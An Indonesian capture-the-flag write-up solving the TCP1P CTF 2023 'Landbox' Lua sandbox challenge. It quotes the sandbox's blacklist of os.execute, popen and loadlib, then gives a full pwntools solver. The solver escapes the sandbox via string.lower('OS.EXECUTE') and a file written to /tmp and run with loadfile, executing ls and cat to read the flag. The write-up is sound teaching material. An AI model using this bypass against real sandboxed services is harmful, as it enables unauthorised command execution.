Halo teman-teman hacker๐! Di artikel ini, kita akan membahas terkait tentang sebuah chall(enge) dari TCP1P CTF 2023, yang berjudul: Landbox.
๐ค Latar belakang
Jadi, apa sih tantangan satu ini? Dari deskripsinya saja, kita dapat mengetahui bahwa aplikasi ini dibuat dari Lua.
Selain itu, kita juga mendapatkan sebuah IP serta port untuk dihubungi dengan netcat. Disaat kita terhubung dengan IP tersebut, kita akan mendapat kalimat pengantar untuk tantangan ini. Disini, kita dapat memasukkan kode lua dan dapat diakhiri dengan -- END
.
$ nc 51.161.84.3 22041
Welcome to Landbox! (LUA Sandbox)
Feel free to type your lua code below, type '-- END' once you are done ;)
-- BEGIN
print('hello world')
-- END
-- OUTPUT BEGIN
hello world
-- OUTPUT END
โ Yang kita pelajari
- Aplikasi ini dibuat dari Lua.
- Aplikasi ini dapat menjalankan kode lua yang dimasukkan โ
Karena kita hanya mendapat informasi yang terbatas, ayo kita lihat source code yang diberikan.
๐ฉโ๐ป Source code
Dari tantangan ini, kita mendapat 2 file, yaitu main.lua
dan sebuah Dockerfile
. Mari kita lihat Dockerfile
nya terlebih dahulu, karena kita mungkin bisa mendapat informasi lebih seperti: versi lua, lokasi flag.txt
, dll.
๐ณ Dockerfile
FROM ubuntu:latest
# ... dipotong biar lebih singkat
RUN apt-get -y install lua5.4 socat
# ... dipotong biar lebih singkat
RUN chown root:root /flag.txt
RUN mv /flag.txt /flag-`md5sum /flag.txt | awk '{print $1}'`.txt
# ... dipotong biar lebih singkat
โ Yang kita pelajari
- Versi lua yang dipakai adalah versi 5.4,
- File
flag.txt
diubah menjadiflag-<hash md5 flag>.txt
.
Nah, sekarang yang telah ditunggu-tunggu...
โ main.lua
Yang pertama kita lihat setelah membuka file ini yaitu sebuah function untuk menjalankan kode yang kita input.
function run(untrusted_code)
env['string']['char'] = function() end
env['string']['format'] = function() end
env['string']['gsub'] = function() end
env['string']['sub'] = function() end
local res, err = load(untrusted_code, nil, 't', env)
if not res then
print('Error: ' .. err)
return nil, err
end
return pcall(res)
end
-- ... dipotong biar lebih singkat
local res, err = run(code)
-- ... dipotong biar lebih singkat
Sekarang, kita punya tujuan untuk membuat sebuah payload untuk mendapatkan flag dari tantangan ini. Namun, sebelum itu, kita harus melewati 3 pengecekan yaitu:
๐ฅ 1st check
blacklist = {'os.execute', 'execute', 'io.popen', 'popen', 'package.loadlib', 'loadlib'}
for line in code:gmatch("[^\n]+") do
for i = 1, #blacklist do
if string.find(line, blacklist[i]) then
print('No! bad code!')
return
end
end
end
Dari penggalan kode ini, kode yang kita input tidak boleh mengandung kata-kata yang didalam blacklist
atau kita tidak dapat melanjutkan ke step kedua.
๐ฅ 2nd check
sanitized = string.gsub(code, '%W', '')
sanitized = string.gsub(sanitized, '%d', '')
for i = 1, #blacklist do
if string.find(sanitized, blacklist[i]) then
print('No! bad code!')
return
end
local parts = {}
for part in sanitized:gmatch("0x%x?%x") do
table.insert(parts, part)
end
local result = ''
for j = 1, #parts do
result = result .. string.char(tonumber(parts[j]:sub(3), 16))
end
if string.find(result, blacklist[i]) then
print('No! bad code!')
return
end
end
Waduuh, yang kedua ini lebih kompleks dari pada yang pertama. Tapi, sebenarnya tidak sesusah itu. Kode string.gsub
ini, berdasarkan dokumentasi lua, digunakan untuk mengubah semua karakter yang cocok dengan karakter yang baru.
sanitized = string.gsub(code, '%W', '')
sanitized = string.gsub(sanitized, '%d', '')
Seperti digambar, sanitized
ini adalah hasil dari fungsi string.gsub
. Di gsub
pertama, ternyata ada bug yang mungkin awalnya membuat kita bingung, yaitu pattern %W
. Sesuai dari tabel pattern diatas, %W
seharusnya menghapus semua karakter alphanumeric, namun karena pattern ini case-sensitive, huruf kapital W
ini tidak melakukan apa-apa. Sedangkan yang sanitized
kedua, ini akan menghapus semua angka dari kode kita.
Ada juga kode yang mengubah karakter hexadesimal menjadi karakter yang dapat dicek dengan list blacklist.
local parts = {}
for j = 1, #parts do
result = result .. string.char(tonumber(parts[j]:sub(3), 16))
end
Sama seperti step pertama, hasil yang didapatkan akan dicek kembali dengan list blacklist.
๐ฅ 3rd check
local result = {}
for match in code:gmatch("['\"](.-)['\"]") do
table.insert(result, match)
end
local sanitized = ''
for i = 1, #result do
sanitized = sanitized .. result[i]
end
for i = 1, #blacklist do
if string.find(sanitized, blacklist[i]) then
print('No! bad code!')
return
end
local parts = {}
for part in sanitized:gmatch("\\x%x%x") do
table.insert(parts, part)
end
local result = ''
for j = 1, #parts do
result = result .. string.char(tonumber(parts[j]:sub(3), 16))
end
if string.find(result, blacklist[i]) then
print('No! bad code!')
return
end
end
Sama seperti pengecekan kedua, disini semua kata didalam petik akan dicek dengan blacklist, juga dengan semua karakter hexadesimal.
โ Yang kita pelajari
- Payload kita tidak boleh mengandung kata-kata dalam blacklist,
- Kita juga tidak bisa menggunakan karakter hexadesimal.
Dengan informasi yang kita dapat, kita sekarang bisa membuat solver untuk tantangan ini.
๐ง Solver
Aku disini akan pakai Python dengan library pwntools
. Ayo, kita buat secara perlahan.
Pertama, kita butuh membuat sebuah interface untuk berkomunikasi dengan servernya.
from pwn import *
import inspect
def conn():
# replace host and port for remote
io = remote("localhost", 1337)
return io
โน Info
Kita bisa menjalankan server lokal sendiri menggunakanDockerfile
yang diberikan
Kedua, kita harus membuat kode lua yang dapat menjalankan command atau shell di konsol.
def write(cmd: str):
payload = f"""
local f=io.open("/tmp/shell.lua", "wb")
f:write([[ load(string.lower("OS.EXECUTE") .. "('{cmd}')")() ]])
io.close(f)
-- END
"""
payload = inspect.cleandoc(payload)
return payload
def exec():
payload = """
f = assert(loadfile('/tmp/shell.lua')); f();
-- END
"""
payload = inspect.cleandoc(payload)
return payload
Didalam fungsi write
, kita membuat sebuah file di /tmp/shell.lua
dengan menggunakan fungsi io.open
lua. Kita dapat menggunakan io.open
karena yang dilarang itu adalah io.(p)open
. Lalu, untuk bisa melewati larangan os.execute
, kita dapat menggunakan fungsi string.lower
untuk mengubah huruf besar menjadi huruf kecil.
Lalu, dalam fungsi exec
, kita dapat menjalankan file /temp/shell.lua
dengan memanfaatkan fungsi assert
dan loadfile
dilua.
Ketiga dan yang terakhir, kita dapat menjalankan kedua fungsi diatas dengan 2 koneksi yang berbeda. Dikarenakan file flag diubah, kita harus menjalankan 2 command linux, yaitu: ls
dan cat
.
def send(cmd: str):
with conn() as io:
p1 = write(cmd)
io.sendlineafter(b"-- BEGIN", p1.encode())
io.recvuntilS(b"-- OUTPUT END")
with conn() as io:
p2 = exec()
io.sendlineafter(b"-- BEGIN", p2.encode())
output = io.recvuntilS(b"-- OUTPUT END")
log.info(output)
return output
def main():
output = send('ls -la /')
flag = re.findall(r'flag-(.+).txt', output, re.MULTILINE)
send('cat /flag-{}.txt'.format(flag[0]))
Berikut adalah script penuhnya
from pwn import *
import inspect
def conn():
# replace host and port for remote
io = remote("localhost", 1337)
return io
def write(cmd: str):
payload = f"""
local f=io.open("/tmp/shell.lua", "wb")
f:write([[ load(string.lower("OS.EXECUTE") .. "('{cmd}')")() ]])
io.close(f)
-- END
"""
payload = inspect.cleandoc(payload)
return payload
def exec():
payload = """
f = assert(loadfile('/tmp/shell.lua')); f();
-- END
"""
payload = inspect.cleandoc(payload)
return payload
def send(cmd: str):
with conn() as io:
p1 = write(cmd)
io.sendlineafter(b"-- BEGIN", p1.encode())
io.recvuntilS(b"-- OUTPUT END")
with conn() as io:
p2 = exec()
io.sendlineafter(b"-- BEGIN", p2.encode())
output = io.recvuntilS(b"-- OUTPUT END")
log.info(output)
return output
def main():
output = send('ls -la /')
flag = re.findall(r'flag-(.+).txt', output, re.MULTILINE)
send('cat /flag-{}.txt'.format(flag[0]))
if __name__ == "__main__":
main()
Saat kita jalankan:
$ python ./solver.py
# ...
[*]
-- OUTPUT BEGIN
total 72
drwxr-xr-x 1 root root 4096 Oct 17 02:31 .
drwxr-xr-x 1 root root 4096 Oct 17 02:31 ..
-rwxr-xr-x 1 root root 0 Oct 17 02:31 .dockerenv
lrwxrwxrwx 1 root root 7 Oct 4 02:08 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Apr 18 2022 boot
drwxr-xr-x 1 root root 4096 Oct 17 02:26 ctf
drwxr-xr-x 5 root root 360 Oct 17 02:31 dev
drwxr-xr-x 1 root root 4096 Oct 17 02:31 etc
-rwxr--r-- 1 root root 47 Oct 17 02:25 flag-cd55f8dcbf9176753d5e91133c78e172.txt
drwxr-xr-x 2 root root 4096 Apr 18 2022 home
lrwxrwxrwx 1 root root 7 Oct 4 02:08 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Oct 4 02:08 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Oct 4 02:08 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Oct 4 02:08 libx32 -> usr/libx32
drwxr-xr-x 2 root root 4096 Oct 4 02:08 media
drwxr-xr-x 2 root root 4096 Oct 4 02:08 mnt
drwxr-xr-x 2 root root 4096 Oct 4 02:08 opt
dr-xr-xr-x 366 root root 0 Oct 17 02:31 proc
drwx------ 2 root root 4096 Oct 4 02:12 root
drwxr-xr-x 5 root root 4096 Oct 4 02:12 run
lrwxrwxrwx 1 root root 8 Oct 4 02:08 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Oct 4 02:08 srv
dr-xr-xr-x 11 root root 0 Oct 17 02:31 sys
drwxrwxrwt 1 root root 4096 Oct 17 02:52 tmp
drwxr-xr-x 1 root root 4096 Oct 4 02:08 usr
drwxr-xr-x 1 root root 4096 Oct 4 02:12 var
-- OUTPUT END
# ...
[*]
-- OUTPUT BEGIN
TCP1P{complex_problem_requires_simple_solution}-- OUTPUT END
๐ Akhirnya kita mendapat flagnya, kawan~
TCP1P{complex_problem_requires_simple_solution}
Akhir kata, terima kasih untuk membaca write-up ini ^v^
. Apabila ada kritik atau masukkan, silahkan komen saja dibawah atau email ke hello@edqe.me
.
๐ Referensi
Terima kasih untuk write-up dari 4n86rakam1 yang menjadi basis dari artikel & write-up ini.
Top comments (0)